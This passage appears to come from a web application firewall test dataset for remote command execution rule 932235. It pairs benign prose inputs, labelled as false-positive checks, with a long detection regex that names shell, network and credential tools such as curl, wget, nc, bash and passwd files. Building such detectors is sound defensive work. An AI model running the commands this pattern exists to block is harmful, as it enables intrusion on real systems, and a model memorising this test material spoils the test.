nt|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `real time source of data` matching `time source`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Back in the UK, we sped through the UK Border at Stansted in record time (less than 1 minute!) and uploaded this report from the rather flatter rocks of Stansted Airport train station platform (but thankfully they are still sunny!\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `in record time (less than 1 minute!)` matching `time (less`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Elle interdit à une société de droit privé – le Swatch Group – de livrer ses concurrents après l’avoir forcé pendant des années à livrer ces mêmes clients.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\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))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?: